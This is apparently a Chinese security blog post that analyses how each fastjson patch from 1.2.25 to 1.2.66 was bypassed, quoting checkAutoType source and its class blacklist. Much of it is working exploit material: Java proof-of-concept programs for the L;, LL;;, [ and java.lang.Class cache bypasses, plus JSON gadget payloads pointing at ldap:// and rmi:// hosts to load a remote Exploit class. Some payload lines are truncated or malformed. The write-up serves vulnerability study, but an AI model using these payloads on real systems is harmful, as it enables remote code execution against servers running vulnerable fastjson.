前言
我们在上一个环境中测试了fastjson1.2.24,我们现在来看一下之后fastjson的修补和绕过情况
环境
在测试中,我们修改maven中fastjson的版本为对应的版本重新加载即可
分析
fastjson1.2.25修复分析及绕过分析
我们先在1.2.25的fastjson环境重新运行1.2.4的payload
发现报错误,提示不支持,autoType is not support. com.sun.rowset.JdbcRowSetImpl
这个就是在1.2.4漏洞发布之后,fastjson的修补,我们看一下具体的修补方法
我们先定位到报错的代码位置,我们可以看到在ParserConfig.java中有一个方法checkAutiType方法进行某种检测,检测失败就抛出json错误
该方法在DefaultJSONParser.java中被调用
我们看一下1.2.24中该位置的源码
进行对比,发现在1.2.24中是在确定之后,直接通过loadClass方法进行指定类的加载,而在1.2.25中该位置换成了checkAutoType()方法对指定类进行判断,这也是对1.2.24漏洞的修复
我们仔细查看下checkAutoType()方法
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
//autoTypeSupport默认为false
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
- autoTypeSupport默认为false,第一个判断中,如果autoTypeSupport开启或者白名单不为空,则先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
- 从Map缓存中查找获取类
- 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
总的来说,这个检查方法就是使用黑白名单的方法来对进入的类进行判断和过滤
黑名单:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
我们看完检查的方法之后发现autoTypeSupport是重中之重,了解一下autoTypeSupport。
autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。
默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType白名单设置方法:
1.JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
2.代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
3.通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
我们在检查方法中可以看到一个判断为如果autoType开启,或者expectClass不为空,就加载对应类
我们看下具体的loadClass方法
如果类名的第一个字符是 [,表示这是一个数组类型。此时,递归调用 loadClass 方法来加载数组的组件类型(去掉第一个字符后的类名),然后使用 Array.newInstance 方法创建一个该组件类型的数组实例,并返回该数组实例的类对象。
如果类名以 L 开头并以 ; 结尾,表示这是一个带引号的类名(通常用于内部类或泛型类的表示)。此时,去掉开头的 L 和结尾的 ;,然后递归调用 loadClass 方法来加载这个新的类名。
如果我们想继续调用com.sun.rowset.JdbcRowSetImpl,它会被黑名单检测到com.sun.被终止,但是我们利用上面的判断,调用Lcom.sun.rowset.JdbcRowSetImpl; ,会绕过黑名单的检测。但是前提是autoType开启
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson_124_jndi {
public static void main(String args[]) {
try{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text1 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
System.out.println(text1);
Object obj = JSON.parseObject(text1);
}catch (Exception e){
e.printStackTrace();
}
}
}
fastjson 1.2.42修复分析及绕过分析
在ParserConfig.java中将黑名单的类变成了hash值,防止知道内容进行绕过
不过黑名单的hash是可以爆破的,目前大部分的内容都已经被爆破出来了
项目地址:
https://github.com/LeadroyaL/fastjson-blacklist
删除开头L和结尾的;
他只过滤了一次,我们可以双重进行绕过
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson_124_jndi {
public static void main(String args[]) {
try{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text1 = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
System.out.println(text1);
Object obj = JSON.parseObject(text1);
}catch (Exception e){
e.printStackTrace();
}
}
}
fastjson 1.2.43 修复分析及绕过分析
我们再运行一下1.2.42的payload,已经不出所料的被ban了
对于LL等开头结尾的字符串直接不支持了
但是我们之前一直用的是开头L结尾;的方法进行绕过,之前分析的时候可还是有一个数组判断的
我们进行数组方式的绕过 [com.sun.rowset.JdbcRowSetImpl,运行但是报错了
根据报错,在,号前加上[,又报了{错误
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson_124_jndi {
public static void main(String args[]) {
try{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text1 = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
System.out.println(text1);
Object obj = JSON.parseObject(text1);
}catch (Exception e){
e.printStackTrace();
}
}
}
“[com.sun.rowset.JdbcRowSetImpl”[{, 绕过成功
fastjson 1.2.44 修复分析(无漏洞)
增加了规则,出现[字符直接抛出异常判断失败,所以[绕过的方法都失效了
这个版本还是比较安全的,没有因为修复不完全而出现新的绕过方式
fastjson 1.2.45绕过
绕过前提:
1.目标服务端存在mybatis的jar包。
2.版本需为 3.x.x ~ 3.5.0
3.autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
payload为
//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
主要就是黑名单绕过,这个类在1.2.46的版本中被加入到了黑名单:
fastjson 1.2.47 分析及绕过
在1.2.47之前有一个通杀漏洞,分为两种情况
- 1.2.25-1.2.32:
未开启AutoTypeSupport时能成功利用 - 1.2.33-1.2.47:
无论是否开启AutoTypeSupport都能成功利用
先分析下绕过的方式,再根据情况具体分析一下
我们在1.2.25分析中看过checkAutiType方法,在第二个判断中,有一个是关于缓存的判断,如果在缓存中找到了,就加载该类
我们看一下getClassFromMapping方法,发现mappings里面都是键值对
在这里就有思路就是通过两次解析来执行命令,第一次我们将com.sun.rowset.JdbcRowSetImpl加入到mappings里面,第二次我们再次解析时,就能在缓存里找到它,绕过黑白名单的检查来执行
paylaod为:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson_124_jndi {
public static void main(String args[]) {
try{
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text1 = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1389/Exploit\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
System.out.println(text1);
Object obj = JSON.parseObject(text1);
}catch (Exception e){
e.printStackTrace();
}
}
}
fastjson 1.2.25 - 1.2.32
java.lang.Class加载
在未开启AutoTypeSupport时就跳过了黑白名单的检测
我们第一次解析的是java.lang.Class,在之后的findClass方法中会被匹配到,返回了clazz
在最后会调用MiscCodec.deserialze()
在方法中对我们输入的进行解析处理
随后将com.sun.rowset.JdbcRowSetImpl赋值给strVal
最后调用了loadClass方法执行,在方法中将com.sun.rowset.JdbcRowSetImpl添加到了Mappings中
com.sun.rowset.jdbcRow加载
随后第二次加载,因为AutoTypeSupport是关闭的所以第一个黑白名单检测会跳过,不会因为com.sun.rowset.JdbcRowSetImpl被检测到直接结束,这也是为什么这部分版本fastjson的设置AutoTypeSupport为关闭才能利用成功,如果是开启的,就算成功将它加入到缓存中也是利用不了的
这样在getClassFromMapping方法中就会找到com.sun.rowset.JdbcRowSetImpl,返回clazz
一路执行
Fastjson 1.2.33-1.2.47
在上面的1.2.25 - 1.2.32版本是AutoTypeSupport开启反而会利用失败,而在1.2.33-1.2.47版本中不管是否开启都能成功,我们来看一下
在1.2.47版本中的checkAutoType版本中,对于黑名单的判断中,相比于上面多了一个TypeUtils.getClassFromMapping(typeName) == null判断,而且是and方式,这样的话,我们的payload在第一次中就会将com.sun.rowset.jdbcRow加入到缓存中,判断是不通过的,而在上面的版本当中,是没有这个判断的,所以进入黑名单判断时,会被检测并报出错误。
fastjson 1.2.48修复分析(无漏洞)
在1.2.47版本中,fastjson的cache默认为true
在1.2.48修复中,已经修改为false
这个修复就导致不能再通过缓存加载恶意类以此绕过黑名单了
另外在黑名单多了两条,检测方法调整了逻辑
fastjson 1.2.5 <= 1.2.59
需要开启AutoType设置{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
Fastjson1.2.5 <= 1.2.60
需要开启 autoType:
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
Fastjson1.2.5 <= 1.2.61
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi
fastjson=1.2.62
需要开启AutoType
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
fastjson = 1.2.66
// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
参考
https://y4er.com/posts/fastjson-learn/#1262
https://forum.butian.net/share/2858
https://drun1baby.top/2022/08/08/Java反序列化Fastjson篇03-Fastjson各版本绕过分析/#0x08-1-2-25-1-2-47补丁绕过
https://xz.aliyun.com/t/14872?time__1311=GqA2Y50K4IxBqDwqeqBKGQHi=qZ6NCrioD#toc-12